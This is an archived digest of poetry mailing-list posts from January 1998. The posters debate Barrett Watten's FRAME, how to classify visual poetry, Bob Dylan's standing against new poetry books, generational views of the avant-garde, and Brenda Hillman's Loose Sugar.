On the Dylan thread, I'm with Simon-- World Gone Wrong and Good As I Been To You which are two solo acoustic records recorded in the early nineties (all blues and folk covers) are likely the most interesting post-70s Dylan, tho the new record is certainly worthwhile, particularly for the 14 minute cut "Highlands."

On the Watten thread, pick up Frame & "Start anywhere."
Interesting that people would characterize the work as "cold." Watten's work always seemed to mean a kind of descriptive conceptual art, which would imply a purposeful distancing, tho it doesn't seem cold to me.
Hope we'll see Progress & Under Erasure back in print soon as well.

Rod

↑ Index

369. **Robert Hale**

FRAME & AERIAL

Wed 14 Jan 1998

I approach Watten similarly to Jacques Debrot in the sense that I was really introduced to his work via FRAME. Anticipating the "critique relation" problem, I promptly ordered a copy of the AERIAL issue devoted to Watten, which works as an essential companion to FRAME.

"You are inside a building and then outside it." p.295

Often, without knowing it, you read a poem and you find yourself in an already constructed network of comprehension. The shadow in which labor, life and language conceal their truth. Less often, in full realization, you read a poem and find yourself somewhere completely different, where the shadow is of each letter in the poem, language exposed, a sentence in giant block letters across the top of a building. Communication model as neon sign blinking on and off like whatever the sun cuts in half with its light or signification without the sun (or "Sun cuts throat."). The later reading would be for Barrett Watten's FRAME. FRAME questions not literature itself, as it appears and works in the text, but what makes language possible as a force for the systematically reduced mind. Watten's real politick is not feeling or representing your pain, but rather seeing it in language and defamiliarizing it as mush as possible . It is not poetry in search of a utopian socialist movement, but rather, an expulsion from the imaginary.

For Watten, to perceive while being-in-the-world is to struggle in the most political sense to the point of high organization at times. In other words, Watten organizes language in a political fashion, though not nearly as adroitly as it may sound. This writing settles on you like so many days, like so many streets that you've walked a thousand times. The play of signification often associated with L=A=N=G=U=A=G=E poetry turns out to be a disaster haunted by history, and like history, as easily mis-read as it is imitated.

Look at the grid formed by the windows of a building you work in, these fragments we have framed against our ruins, instead of shored.. For Watten, imagination disappears with the first line of each poem to a historical framework that must configure in and out of history or be lost only to be shored or stifled. Watten's unimagination is not a lack of imagination; it is not even imagination of the lack, but rather that which is hidden by imagination and what is given alike: the neutral, the unmanifest. (Blanchot ,WOD p.63).

As a book FRAME is proof that a frame is never axiomatic, but rather, "constant, altered only by our design." Oddly enough, Watten's work does bear a

axiomatic quality, his sentences read and sometimes progress like axioms in a mathematic or logical sense.

In repressive society the concepts of life, labor and language are themselves parodies of fantasies that involve a denial of objective historic forces.

"The world is structured on it's own displacement" _The XYZ of Reading_

"Dreams are our life, which we will never be able to penetrate. There can be no separation from an invisible world." _CITY FIELDS_

"An arrival in history only coincides with defeats" _CONDUIT_

"Any person is the image of what he sees" _CITY FIELDS_

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370. William Marsh
Re: Whose Visual Poetics? Verbal or visual?
Wed 14 Jan 1998

At 01:13 AM 1/14/98 -0600, tom bell wrote:
>Is Visual Poetry visual or verbal? The recent flurry here actually raises
>an important issue I think. Does visual poetry have a visual/auditory bias?
>Would Bernstein's work not be poetic visuals?
> "Cocteau has said of his drawing that it is writing untied and 'knotted up
>again in a different way.'" - Davenport. I find that my work can be
'verbal',
>'visual' or both, but all three are different in a fundamental way.

a good question, and one which underscores something i think miekal and said earlier about how the "visual poetry" rubric (like all classifications) collects a diverse set of works whose boundaries, definition-wise, are frayed / aside from the obvious, that letters refer both graphically and phonemically, what do we call--if necessary--a writing that *means* both visually and verbally, or that commits to exercising in both fields--things you both read and look at? / or is that the distinction that creates the problem / the term i've come up with is "graphonemantic" but i'm sure Bob G. has something better to pull from his taxonomy grabbag?!

bill marsh

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]

http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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371. **Bob Grumman**
Re: Whose Visual Poetics?
Wed 14 Jan 1998

Yeah, Luigi, I meant SLY, not SNIDE ("And that snide insert of yours, with Perloff's list of required and recommended books on it was beautiful!") Sorry.

I mostly agree with what you said. I guess if Marjorie Perloff had called her seminar The Use of Visual Devices in Language Poetry, I wouldn't have been bothered--except that I would still be annoyed that she wasn't covering what I consider our kind of visual poetry.

I DO think people setting up seminars and the like should try to pass out career boosts if they can choose between equally qualified people, some of whom could use such a boost, some of whom don't need one.

As for your zxy, I'm not up to (z) challenging "the value or importance of that particular body (that Perloff is pushing)"--I admit I don't know enough about it to do so; and also that some of it I quite like. I go with part of (x) "identify(ing) other excluded works/poets who should be considered" and part of (y), sort of, in that I would want to say why the excluded are aesthetically worthy of consideration-- "identify their distinguishing characteristics, and show their value..."

That's what I try to do with my too infrequent essays.

Okay, that's it--except that I ought to let the list know that I'm friends with Harry Burris (I think!) and he knows that I consider his definition of visual poetry too broad (for including wholly averbal collages) and doesn't mind.

--Bob G.

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372. **Joshua N Schuster**
unpacking someone else's library
Wed 14 Jan 1998

Well, I agree with Ron that generational differences result in extremely different receptions of what is "new". When I read TJANTING a few years ago, it was wonderfully new to me in a way that, right now, Watten's FRAME is not. I spent some time thinking about Watten's Impercipient Lecture, rather put-off

by the so-called "take-no-prisoners" attitude, especially with respect to the motor industry that gives Detroit a constant hum. Take-no-prisoners sounds like Mr. Ford's can-do American spirit ripping-off every worker's life strength. What about Ford's anti-Semitic pamphlets, pre-dating WWII and just as idiotic as any other Nazi propaganda? The influence of Ford is bigger than Watten's pamphlet wants to address. Good thing GM head Roger Smith takes-no-prisoners, as if prisoners equals non-profitable workers. On second thought, Smith does take prisoners, as seen in ROGER & ME. To me, "take-no prisoners" and cultural poetics are complete opposite modes of understanding.

For all Watten's brio grand, he doesn't strike me as the most sensitive reader who can propose a cultural poetics. He seems to pose such a poetics in *opposition* to other current notions of poetics, as if opposition is the situation of a sensitive reader (who would be more curious and inventive than a "close reader"). Watten rips out the rug from other positions, and as exciting as that is, as much as I am convinced by his lecture, I don't want to move ahead with any sense of "I'm against this and against that." That's what many academic critics do. That's what the evil Hal Foster, for example, does. That's cynical.

I don't feel cynical at all, which may mean I have a problem. There is an abundance of wonderful writing being produced, even today, or what seems like today to me. Of course, even if I buy a book 20 years old, it is still very news to me. When I first heard about a store like SPD, I was overwhelmed. The catalogue of new books made no sense; every text was new and as far as I was concerned they all needed a blurb. So I decided to intern at SPD for a summer, and I spent most of my time just finding out what books were there, treating the store more like a library.

I'm not cynical about Dylan either, although nostalgia seems to be the word we attribute to older people that corresponds to cynicism in the youth. Those two terms are also two of the biggest cash-cows for the entertainment market place, most music and movies falling under one of the two categories.

Ron and Jeff Derkson's recent Philly Talks is new to me, especially Ron's second letter to Jeff, as much a tour-de-force in its own, briefer way as Watten's ILS. Ron asks why there has been no new movement in poetry similar to the energy and community created during the early 70's. Certainly there has been several new movements in culture, especially in film and music, but Ron does not feel much of the recent work by younger poets "is actually new." This seems a bit too cynical to me, and would surely be attacked by almost any young writer. But I'm not interesting in the poetics and politics of attack and oppose, critique and defy.

Cultural poetics cannot take place until, as Ron knows, we further understand what culture today exhibits and demands from us. But I also think that take-no-

prisoners poetics is more ripping than truly opening up. Not that everyone has to be neat and nice. There are several contemporary and important historical poets who bore me constantly. I found a beat up copy of Coolidge's SPACE first edition from 1970 and I can't make much sense of it at all and I don't find it all that funny. I need another hint or clue at reading Coolidge before I can find it interesting. Dare I say I feel the same boredom when I read Stein (What are the politics of boredom?). Oh well, but there isn't a sentence by, say, Dodie Bellamy that I don't think is both very intense and intimate. One can still be a sensitive reader without being cynical, or needing to take-no-prisoners, or liking everything.

-Joshua Schuster

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373. **Brian McHale**

Re: Dylan

Wed 14 Jan 1998

Yes, I read "Frame." And found it thoroughly satisfying, though I struggled to grasp the context out of which the earliest parts of it were written. So that makes two of us. Brian

On 01/13/98 at 09:05:20 Robert Hale said:
>Did anyone else besides me read Barrett Watten's FRAME? What about Susan
>Howe's book?

> *At 11:18 AM 1/13/98 -0800, you wrote:*
> *Isn't it curious that we have extended discussions of Dylan's album, but rarely, if ever, a comparable discussion of a new book of poetry. I wonder if there is a book of poetry, published in the last year, that five people on the list have read.*
>
> *Dylan is a serious artist, but there are others; some, I would venture to say, more crucial than Dylan.*
>
> *Does it takes the commercial clout of Columbia Records (and Sony Music Entertainment, Inc.) to get us a-buzz about a serious artist?*
>
> *db*
>
> ***\

> *Albany, NY 12222*
> *[redacted] (work); [redacted] (home); [redacted] (fax)*
> *The Little Magazine (http://www.albany.edu/~litmag/)*
> **********

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374. **r.drake**
Re: Whose Visual Poetics?
Wed 14 Jan 1998

> *purge your vocabulary of the word "important" --*
> *JD*

jordan--

you talkin to me? my last post had 2 "important"s & 1 "importance" (nice homophones, eh?), which was maybe two many... but it also had a couple of "valuable" or "value"s, and a "useful" (as well as a "worthy" & a handful of "deserving"s).... so i'm not sure if yr suggesting a stylistic improvement in my unrigerous prose (a spelling dictionary might be th higher priority), or if yr directive to me is to avoid making value judgements about the importance/ value/use of works... i'd hate to artificially impoversh my already meager vocabulary w/ out understanding why you think it's important to do so...

lbd

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375. **louis stroffolino**
Re: dylan or
Wed 14 Jan 1998

---

well it was nice to hear this 20 minute roy harper song from an album called FOLKJOKE OPUS released allegedly 1967 0r 68 on a local station here (WFMU--which allegedly all you webbies with speakers etc. can listen to). I would have thought it was some new young folkie trying to imitate honky dory period bowie and i say this not to diminish. anyway all i have is " flat baroque and breserk" but i like this better-- if anybody can send me a tape of it, i'll send my new book LIGHT AS A FETTER (situations press, 1997) which i would count one of the top 5 dear dr. byrd. chris

On Tue, 13 Jan 1998, George Bowering wrote:

> *"No one listens to poetry", unless it's backed up by guitar drums & bass, & we can't come up with a "serious artist" in poetry per se to compare with Dylan (in ability to generate talk-interest) ??*

> *The ability to generate talk and interest is not all that indicative of seriousness. If it were there would be fewer US magazines on the newsstands and more literary magazines.*
>
> *Or to put it another way: Virgin Records stores would be bulging with Paul Bley CDs, and in one little corner there would be a few Spice Girls and Bob Dylan CDs.*
>
> *George Bowering.*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

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376. Gwyn McVay
Hale, Fuller on FRAME
Wed 14 Jan 1998

"You are inside a building and then outside it." p.295

Often, without knowing it, you read a poem and you find yourself in an already constructed network of comprehension.<<<

When I hit the sentence you cite, it reminded me of Buckminster Fuller's comment that "A structure is something with an inside and an outside. Period," which could itself be a precis of the Heart Sutra, one of the core texts of Mahayana Buddhism, which is really just quantum physics, but I digress spectacularly. Along with the pleasure-of-the-text of reading Watten, I find him excellent for helping me realize/remember the constructed, vs. received, nature of textual spaces as well as "real"space. I like the polysemy of the title FRAME and the way it brings in photographic/filmic presences--and reminds that those spaces are constructed as well.

Gwyn, hoping to make sense

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377. **henry**
Re: Whose Visual Poetics? Verbal or visual?
Wed 14 Jan 1998

On Wed, 14 Jan 1998 09:54:57 -0800 William Marsh said:
>
>a good question, and one which underscores something i think miekal and
>said earlier about how the "visual poetry" rubric (like all
>classifications) collects a diverse set of works whose boundaries,
>definition-wise, are frayed / aside from the obvious, that letters refer
>both graphically and phonemically, what do we call--if necessary--a writing
>that *means* both visually and verbally, or that commits to exercising in
>both fields--things you both read and look at? / or is that the distinction
>that creates the problem / the term i've come up with is "graphonemantic"
>but i'm sure Bob G. has something better to pull from his taxonomy grabbag?!

If the boundaries are really frayed - would you include poetry that directs its attention to actual works of visual art under this rubric? "It's all in your mind." [Jimi Hendrix] - Henry Gould

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378. **William Burmeister Prod**
Byrd/Pritchett query: _Loose Sugar_
Wed 14 Jan 1998

On Jan 13, 1:10pm, pritchpa wrote:
> Subject: Re: Dylan
> Important recent books for me have been:
>
> Stepping Razor - Aldon Nielsen
> il cuore: the heart - Kathleen Fraser
> Prosepct of Release - Tom Mandel
>
> I'm intrigued by Brenda Hillman's _Loose Sugar_, and would be interested
> in others' response to this work. I've only had it a couple of days, but
> so far am struck by the way she has opened up her work to more
> experimental techniques while retaining a backbone of more traditional
> narrative. I find the way she's gone at this more appealing - and far
> less pretentious - than the way Jorie Graham has.
>
> Patrick Pritchett
> ----------
> From: Don Byrd

> Isn't it curious that we have extended discussions of
> Dylan's album, but rarely, if ever, a comparable discussion of a new
> book of
> poetry. I wonder if there is a book of poetry, published in the last
> year,
> that five people on the list have read.

Loose Sugar is intriguing Hillman. Retaining, as Patrick Pritchett says, a backbone of traditional narrative, _Loose Sugar_ is a continuation of the journey Brenda Hillman began in _Death Tractates_ and _Bright Existence_, except that there is clearly an enaction of her earlier experience with the fragment that doesn't take place in the linear narrative of her earlier books. Here, form and content appear to match up well. This seems especially true in the poems of "time / space," where she recalls her Brazilian childhood effectively in fragments of found language, remembered conversation, and quotation in a manner somewhat reminiscent of the novels of Carole Maso. Perhaps she hints toward what she purposes by writing,

I have doubted my belief in sentences because
of their refusal to recall certain things

and

"To think" means: the looseness is taken away.

What strikes me is how she has incorporated, indeed reconciled modern science into her gnostic world view with its disjunction between spirit and matter. Travelling through loose matter with all the ease and speed of a neutrino, she finds a way to use the sound, if not the meaning, of the names of the twelve fundamental particles of matter in "The Particles." Is the high-energy particle a metaphor here for the quick trip of the gnostic soul through matter? Perhaps, but the short lifetime of these particles notwithstanding, Brenda Hillman's time in "problem / time " is the slow time of careful contemplation.

My favorite section of _Loose Sugar_ is the poems in the cylcle called "blue codices." The brief snatches, fragments below each poem in the series are largely personal and act more as signposts than stage-by-stage narrative. They appropriately end the cyle with an ellipsis. It seem "blue codices" is a journey of the self on the way toward healing, toward change where the stops along the way, like the means, are more important than the end. The poet wonders,

And if at the end of healing there is nothing?

Finally, we read,

When I gave up hope of being complete,
the sorrow deepened.
As that went too, a mystery replaced it.

And her despair gives way to open space: to science, the mystery of the alchemist with which she seems perfectly satisfied.

-William Burmeister

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379. Kali Tal
Poets & Musicians Sound Out Against Police Brutality
Wed 14 Jan 1998

Forwarded from the [redacted] mailing list....

> *Poets and Musicians Sound Out Against Police Brutality*
>
> *"No More Stolen Lives" is the theme for a benefit performance for the October 22nd Coalition Against Police Brutality, on Saturday, January 24, at Good Shepherd-Faith Presbyterian Church from 7 to 11 pm. The event will be hosted by poets Louis Reyes Rivera and Zizwe Ngafua. Featured artists are Amina and Amiri Baraka, Carolos Raul Dufflar & friends, CVGSheba, Sandra Maria Esteves, Jose Angel Figueroa, Ngoma Hill, Gary Johnston, Layding Kaliba, Jesus Papoleto Melendez, Tom Mitchelson, Malkia M'buzi Moore, N!k!, Tanya Tyler, Universus from the Bronxside, Welfare Poets, Atiba Wilson & Lenny Hebert, and Ted Wilson. (The church is located at 152 West 66th Street, Manhattan, between Broadway and Amsterdam Avenue, one block west of the 66 Street stop on the IRT #1 train.)*
>
> *Asked why artists and poets should support the effort to stop police brutality, Brooklyn poet Rivera, author of "Scattered Scripture", said,*
>
> *Every human being should be concerned with this issue. It's the citizen who, through his taxes, hires and pays the policeman's salary. And any citizen abused by the police demands immediate investigation and swift judgement, otherwise we suffer fascism.*
>
> *The October 22nd Coalition Against Police Brutality, Repression and*

> *the Criminalization of a Generatio National Day of Protest to Stop Police*
> *Brutality, held in over 50 cities. It is a national network attempting to*
> *to build n, has in the past two years organized the resistance against the*
> *escalating epidemic of police brutality, violence, and murder. Together*
> *with the Anthony Baez Foundation and the National Lawyers Guild, the*
> *October 22nd Coalition is involved with the Stolen Lives Project, a working*
> *document of the names and stories of people killed by law "enforcement"*
> *since 1990.*
>
> *A donation of $6.00 is requested. Books and refreshments will be available.*
>
> *Louis Reyes Rivera and Steve Yip, local October 22nd Coalition activist,*
> *are available for press comment and interviews. For more information, call*
> *[redacted] x3920.*
>
> *Cesar A. Cruz*
> *[redacted]*
> *[redacted]*
> *To Comfort the Disturbed, and To Disturb the Comfortable*

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380. Mark Prejsnar
new Tom Beckett
Wed 14 Jan 1998

I've just received in the mail a new Tom Beckett book, Wagers of Synthesis, from Zasterle.

I strongly recommend this little book if you haven't seen it. Strikes me as relevant too, because we've been discussing Frame, and there are certain interesting parallels. The problematic nature of language and ideas in a context where the dominant culture has emptied them of urgent referentiality. (The one radically "unreadable" section of Wagers is two pages that repeat "How do normal people BLANK?" about 200 times; the rest of the book is much more fun than that, but it gives a feeling of how Beckett is sometimes banging his head in a kind of witty rage against alienated and unexamined forms of usage.) I really like Beckett's ear and the way his words move. I've recently been reading a friend's copy of Invisible Aria, a Beckett chapbook from Burning Press (1990)--If

it is still available or you can find it I very strongly recomment that one too. Wagers is a development of the same set of concerns....

Mark P.
atlanta

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381. Michael Magee
Re: unpacking someone else's library
Wed 14 Jan 1998

Thanks Josh for this very engaging and insightful - what? - intervention I guess; I think in some way or another you're speaking for many of the yungins (not to be confused with Jungians) on this list. Can't say I agree with your dis of Ms. Stein particularly, but I think there's something about you're basic approach to the issue of value which I feel very close to - which is to say, there's a difference it seems to me in the approach to history and tradition, a less Bloomian take on innovation which doesn't ask, or even really allow, questions such as, "Where are the great schools of the new? Breakers of the tablets?" etc; and, yes, this may partly be the result of a childhood spent learning how to deconstruct Ford commercials ("This Taurus is the newest of the newest new new sedans!" etc) as well as college education in the years of cultural studies (learning about things like Ford's anti-Semitic pamphlets which, a few decades ago, would have seemed arcane and irrelevant vis a vis poetry to be sure). But the most important thing you point to, to my mind, is a difference in how poets born post-Watergate, or nearly so (I was 3-4), approach the idea of "bigness." I feel, and I swear I don't mean to be condescending here, its just an observation, that the baby boomers - on the left, right, middle, and however "radical," though of course with many exceptions - still deeply love the grand narrative, and, as such, narrative itself - one such narrative involves answering the question, "Where is the next great movement?" I think its a bogus question and, in any event, not the one we should be asking. In a world which is increasingly diverse and complex, and where intellectuals are increasingly banking on constructs involving multiculturalism, well, the next great movement ain't coming, folks - or if it is we won't recognize it as such - hey, maybe its already here. I agree with Josh, too, that there's plenty of great writing being done right now. Doesn't Harryette Mullin's *Muse & Drudge* stand up with any book of lyrics done in the last 30 yrs? With Creeley's *Pieces* or Levertov or Howe or whoever you want to name? In any event she's been just as important to me as those great writers and I like her just as much, and she's as "original" as hell. It's observations such as this which make cynicism seem, well, a little nostalgic.

-m.

According
to Joshua N Schuster: >
> Well, I agree with Ron that generational differences result in extremely
> different receptions of what is "new". When I read TJANTING a few years
> ago, it was wonderfully new to me in a way that, right now, Watten's FRAME
> is not. I spent some time thinking about Watten's Impercipient Lecture,
> rather put-off by the so-called "take-no-prisoners" attitude, especially
> with respect to the motor industry that gives Detroit a constant hum.
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> reader who can propose a cultural poetics. He seems to pose such a
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> curious and inventive than a "close reader"). Watten rips out the
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> I'm not cynical about Dylan either, although nostalgia seems to be the
> word we attribute to older people that corresponds to cynicism in the
> youth. Those two terms are also two of the biggest cash-cows for the
> entertainment market place, most music and movies falling under one of the

> two categories.
>
> Ron and Jeff Derkson's recent Philly Talks is new to me, especially Ron's
> second letter to Jeff, as much a tour-de-force in its own, briefer way as
> Watten's ILS. Ron asks why there has been no new movement in poetry
> similar to the energy and community created during the early 70's.
> Certainly there has been several new movements in culture, especially in
> film and music, but Ron does not feel much of the recent work by younger
> poets "is actually new." This seems a bit too cynical to me, and would
> surely be attacked by almost any young writer. But I'm not interesting in
> the poetics and politics of attack and oppose, critique and defy.
>
> Cultural poetics cannot take place until, as Ron knows, we further
> understand what culture today exhibits and demands from us. But I also
> think that take-no-prisoners poetics is more ripping than truly opening
> up. Not that everyone has to be neat and nice. There are several
> contemporary and important historical poets who bore me constantly. I
> found a beat up copy of Coolidge's SPACE first edition from 1970 and I
> can't make much sense of it at all and I don't find it all that funny. I
> need another hint or clue at reading Coolidge before I can find it
> interesting. Dare I say I feel the same boredom when I read Stein (What
> are the politics of boredom?). Oh well, but there isn't a sentence by,
> say, Dodie Bellamy that I don't think is both very intense and intimate.
> One can still be a sensitive reader without being cynical, or needing to
> take-no-prisoners, or liking everything.
>
> -Joshua Schuster
>

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382. **eric blarnes**

Re: Hale, Fuller on FRAME

Wed 14 Jan 1998

On Wed, 14 Jan 1998 13:45:37 -0500 Gwyn McVay said:
>"real"space. I like the polysemy of the title FRAME and the way it brings
>in photographic/filmic presences--and reminds that those spaces are
>constructed as well.

How does that framous line of Milton go? "Frame is the spur..." - Eric Blarnes

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383. **Bob Grumman**

Re: Whose Visual Poetics? Verbal or visual?

Wed 14 Jan 1998

This is a multi-part message in MIME format.

Regarding Tom Bell's question as to whether visual poetry is visual or verbal, Bill Marsh said some thoughtful things, I think. Then he come up with a neology that I LOVE--because it's worse than almost anything I've ever come up with! (See what Marjorie Perloff's Seminar has done to me. I've become just . . .)

Actually, I'd never thought to describe a word or words intended to be taken both semantically and visually--or, as Bill puts it, "writing that *means* both visually and verbally, or that commits to exercising in both fields--things you both read and look at?" His term is "graphonemantic." Not really too bad. I've been using simply "visio-poetic" without thinking I was using a special term. It would seem a little more self-explanatory than Bill's. "poetic" instead of "phonemical" or "semantic" because the word would automatically be poetic if it was significantly both verbal and visual since the addition of the visual element would have to, it seems to me, make it metaphoric; otherwise the visual element would be decorative only and therefore not significant.

As for the different weights of the visual and the verbal in visual poetry, my taxonomy gets into the difference between VISUAL poetry and VISUALLY-ENHANCED poetry. I consider ALL poetry primarily verbal, including visual poetry. When it stops being verbal it becomes a form of illumagery (my term for visual art) I call textual illumagery-- usually letters that are visual interesting but not verbal. As the textuality of the piece fades further, we get textually-enhanced illumagery. Big controversy in taxonomy--at least among those who give a blip about taxonomy, who are few--is whether what I call Textual Illumagery is Visual Poetry. I say no, personally, but will leave it up to the consensus of informed participants in the field to decide. When their number reaches double figures.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

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384. Bob Grumman
Re: Whose Visual Poetics? Verbal or visual?
Wed 14 Jan 1998

This is a multi-part message in MIME format.

Henry Gould asks, "If the boundaries are really frayed (regarding the classification of visual poetry)- would you include poetry that directs its attention to actual works of visual art under this rubric?"

I, for one, would not, Henry. I classify on what a poem does, not its subject matter. Similarly, for me a mathematical poem is a poem that DOES math, not one that merely discusses something mathematical.

Related to this is the idea of calling a conventionaly textual poem visual because it vividly calls up some visual image or scene. No, it's just a highly visually-expressive (sorry, George and Judy) textual poem.
--Bob G.

To think is to classify.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------3E2123FFD13--

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385. Bob Grumman
Re: Whose Visual Poetics? Verbal or visual?
Wed 14 Jan 1998

Hmmm, my previous post was a little silly at the end. I said, "Related to this is the idea of calling a conventional textual poem visual because it vividly calls up some visual image or scene. No, it's just a highly visually-expressive (sorry, George and Judy) textual poem." "visually-exressive" doesn't work. Make it "expressive-of-the- visual."

--Bob G.

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386. Susan E. Dunn
vizpo, langpo & the zimmerman conference
Wed 14 Jan 1998

I'm on digest (undigested?) so excuse me if this message is out of date and far too long (my ondigestion has given me logorhea). But this is three messages in one and I promise not to write in for three more years again!

1. VIZPO Just a posting to say Charles Bernstein's reading last night was wonderful. Thank you very much. Quite the buzz (and the wine was okay too). STanding room only. It brought in folks from Berkeley, SF and Santa Cruz. It brought together the Creative Writing and the English Departments (no mean feat!) and the energy created was a terrific kickoff for this series even if it doesn't meet the approved list of whose in the visual poetics club. For the other vizpos in the bay area who are feeling neglected I say, come on down!! Introduce yourself. Have a glass of wine (on the house, or farm, as it were). Join the party. (And remember to thank Craig Dworkin for all his work too.)

I'm glad the viz po thread has turned into an actual discussion of poets and works and what to read and where to find things. This seems to be the point of the series and the course and this discussion list. (Sob! Why can't we all just get along?!) The petty attacks on critics and poets seems sadly misplaced. But I'm a sucker for visions of communities, imaginary and other/wise, which are usually fascist utopias I know I know. It just struck me that the tenor of the original postings was: How come MP isn't doing enough for ME? Why indeed. Ask not what . . . oh never mind. Well, I too tend to have a knee-jerk defensive response when being told I could be doing more when I'm in fact working my butt off for something. On the other hand, controversy IS a sign of success.

2. LANGPO
I'm interested in why "language poet" seems to be a pejorative term on this list.

3. ZIMCO I too found it depressing that more people wrote in about bob dylan than have regarding recent books of poetry. As for what Charles Bernstein called, "the STanford Zimmerman conference," It is not surprising but it is sad that this is the only event I've worked on that the national--and international--press has taken an interest in. But with billion dollar corporations involved in making lots of money off of cd sales, etc. the stakes are different. Talk about a CANONIZED writer! Nonetheless, I'm really looking forward to what Aldon has to say, and granted Dylan's important although he doesn't speak to me (except to say "change the station away from this adult contemporary baby boomer big chill nostalgia crap") I'd rather hear Beck. Or even Bowie. (Or Bernstein!)

Susan E. Dunn, Ph.D.
Associate Director
Stanford Humanities Center
Mariposa House
546 Salvatierra Walk
Stanford University
Stanford, CA 94305-8630
Tel: [redacted]
Fax: [redacted]
email: [redacted]
www: http://shc.stanford.edu

"Make the world your salon"
- Mina Loy

"I love you because you know
such lovely people."
- Myrna Loy

(Nora to Nick in "The Thin Man")

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387. Jordan Davis
duping someone else's mix tape
Wed 14 Jan 1998

To dupe --

I can't wait till I get to tell a poet twenty years younger than me that they haven't done anything new --

all the generation that fought the second part of the 30 yrs war can say is, how come those poets twenty years younger than my gang not only couldn't do anything new, they couldn't come to anything like a world-building -describing view --

this, btw, is what I meant by purge your vocabulary of the word "important" --

of course, we are all allies of the golden slumbers -- my money is on hubris to win place and show --

Jordan

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388. Miekal And
<A HREF="expectations for hypertext in 1974">
Wed 14 Jan 1998

Don Byrd wrote:

> *I had*
> *big hopes for hypertext, but it has yet to produce much of interest.*

Don

Id love to hear more of what expectations you had for hypertext in the 70s that remain unfulfilled, & what people were getting you excited about the promise of the ideal hypertext environment. My beard, being not quite so gray, picked up on Ted Nelson & his book Computer Lib/Dream Machines in the later 70s, almost ten years before I even touched a computer & could understand firsthand all the implications of dimensionally networked information.

miekal

_____
PLAGERIST CODEX
http://www.net22.com/qazingulaza/codex/codex.html

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389. **d powell**
Re: Dylan, since you brought it up
Wed 14 Jan 1998

Susan,

Thank you for your honest comments on Bob Dylan. Truth be told, I have never understood what anyone saw, or excuse me, heard in this man's "music." But then, I also can't stand the beach boys, the rolling stones, nirvana, frankie valli or any of that crap. It all sounds alike to me. I guess I don't understand the aesthetics of white male rock. It is not simpy displeasant to me. My response is completely somatic, as if my entire central nervous system is somehow allergic to those screeching and gravelly sounds that white male rock singers love to make. Perhaps, in some preconscious place, those sounds represent to me not angst but aggression; not celebration, but negation. Where does one hide within one's own body when confronted with the terrifying cry of a Sammy Hagar or a whathisnamethatshothimselfinthehead (kojak?) as amplified to a menacing frequency through someone's beachblanket radio? Oh for a muse of fire give me the Ohio Players. Barry White. Isaac Hayes. These are the geniune poets. (aside: funny that I don't shrink from the music of Elton John, Queen or Bowie. Perhaps because they're queer, something softens the tones of their voices. Maybe queer people don't make those sounds. Who knows?)

But finally, I should add I agree that the discussion of "popular" "music" is seems to be taking up a very large section of this picnic about poetry. Why? Is music feeding poetry? Is music our proverbial chicken and potato salad? I wonder....
==========
D A Powell [redacted]

==========
=====

Susan E. Dunn wrote:

> *3. ZIMCO*
> *I too found it depressing that more people wrote in about bob >dylan than*
> *have regarding recent books of poetry...and granted >Dylan's*
> *important although he doesn't speak to me (except to say "change >the*
> *station away from this adult contemporary baby boomer big chill >nostalgia*
> *crap") I'd rather hear Beck. Or even Bowie. (Or Bernstein!)*
>
> ---
> *Susan E. Dunn, Ph.D.*
> *Associate Director "Make the world your salon"*
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> *546 Salvatierra Walk "I love you because you know*
> *Stanford University such lovely people."*
> *Stanford, CA 94305-8630 - Myrna Loy*
> *Tel:* [redacted] *(Nora to Nick in "The Thin Man")*
> *Fax:* [redacted]
> *email:* [redacted]
> *www: http://shc.stanford.edu*

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390. Lawrence Upton.

Re: Strange,Ron, how we got to be the old guys

Wed 14 Jan 1998

If you have been paying attention, you realize you have reached middle age not because your bones creak, which they do, but because you know that you will never find another book or work or art that seems truly strange.

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391. William Burmeister Prod

Re: Whose Visual Poetics? Verbal or visual?

Wed 14 Jan 1998

On Jan 14, 2:40pm, Bob Grumman wrote:
> Subject: Re: Whose Visual Poetics? Verbal or visual?

> *I, for one, would not, Henry. I classify on what a poem does, not its subject matter. Similarly, for me a mathematical poem is a poem that DOES math, not one that merely discusses something mathematical.*
>
> *--Bob G.*

Bob, I can appreciate the last sentence there from the point of view of acting out, or performing/enacting the thing, rather than talking about it (which I am not dismissing as viable either though). But when you say that the mathematical/visual poem does math, how do you visualize this happening? Do you mean this in the operational sense (in which case one runs into the abstract immediately)?

Best,

William Burmeister

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392. **David Kellogg**

Re: Strange,Ron, how we got to be the old guys

Wed 14 Jan 1998

---

these young people today

never cut their hair

and their music

noise just noise

[heard on saturday night live's wkend update: "Wouldn't it be weird to be Bob Dylan's son Jakob? Playing music in the basement, and he says: 'Hey son, cut that out!' 'Aww Dad, you're too old, you don't understand our generation.' 'Hey. Of course I understand -- I'm Bob Dylan! Your music sucks. Now cut it out!'"]

Peace,
David
~~~
~~~

393. **pritchpa**
Re: Byrd/Pritchett query: _Loose Sugar_
Wed 14 Jan 1998

I have nothing intelligent/insightful to add (coming down with a cold) but want to say thanks for a very stimulating post and thanks as well to Mark P., Don Byrd., Ron S., Josh S., Mike M., Susan D. et al. for equally stimulating, well thought out remarks.

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394. **William Burmeister Prod**
Re: vizpo, langpo & the zimmerman conference
Wed 14 Jan 1998

On Jan 14, 12:16pm, Susan E. Dunn wrote:

> *2. LANGPO*
> *I'm interested in why "language poet" seems to be a pejorative term on this list.*

See the Mark Wallace essay:

"Emerging Avant Garde Poetries and the "Post-Language Crisis" available at: http://writing.upenn.edu/epc/authors/wallace/

William Burmeister

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395. **KENT JOHNSON**
Barrett, William, Jordan, Ron, Mark, Lyn, Michael, Allen, Joan,
Wed 14 Jan 1998

Feeling out of the loop of where it's at in American (non-visual) poetry, so just set mail again after looking into the archives and seeing all the interesting and somewhat hot threads. So I wanted to add my two cents of comments and questions:

William: Why is Ed Foster evil?

Jordan: OK, so you don't like to be told you're not interesting, but do you really think Don Byrd is a dupe? Add _The Poetics of the Common Knowledge_ to your vocabulary and don't delete.

